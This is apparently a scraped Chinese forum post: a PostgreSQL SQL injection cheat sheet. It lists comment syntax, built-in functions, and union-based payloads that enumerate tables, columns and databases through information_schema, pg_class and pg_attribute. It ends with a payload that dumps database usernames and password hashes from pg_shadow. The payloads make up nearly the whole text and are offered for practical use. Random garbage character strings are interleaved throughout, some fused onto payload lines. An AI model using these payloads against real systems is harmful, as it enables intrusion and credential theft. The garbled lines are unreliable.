postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点
1 Q# {4 Z2 }! c& F

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
连接符: %20 , + , /**/

内置函数:
, V# U, R& W3 `current_database() //当前数据库名
session_user //会话用户
current_user //当前数据库用户
% V+ w/ q+ b, O7 X+ d+ d% O# D) `8 Duser //当前用户
version() //数据库版本

Union注射:
( D6 x9 C4 D6 D9 [8 c3 Corder by n–
and 1=2 union select null,null,null–
and 1=2 union select ‘beach’,null,null–
: c! t+ r2 d% m& B* X& dand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
: U% X1 x: o: o1 |0 Iand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
4 w' {# C- O+ K" w' t) z(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
' |5 O" Y0 x1 z+ L% \- dselect oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
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and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
$ L" U& t& A5 U9 gand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码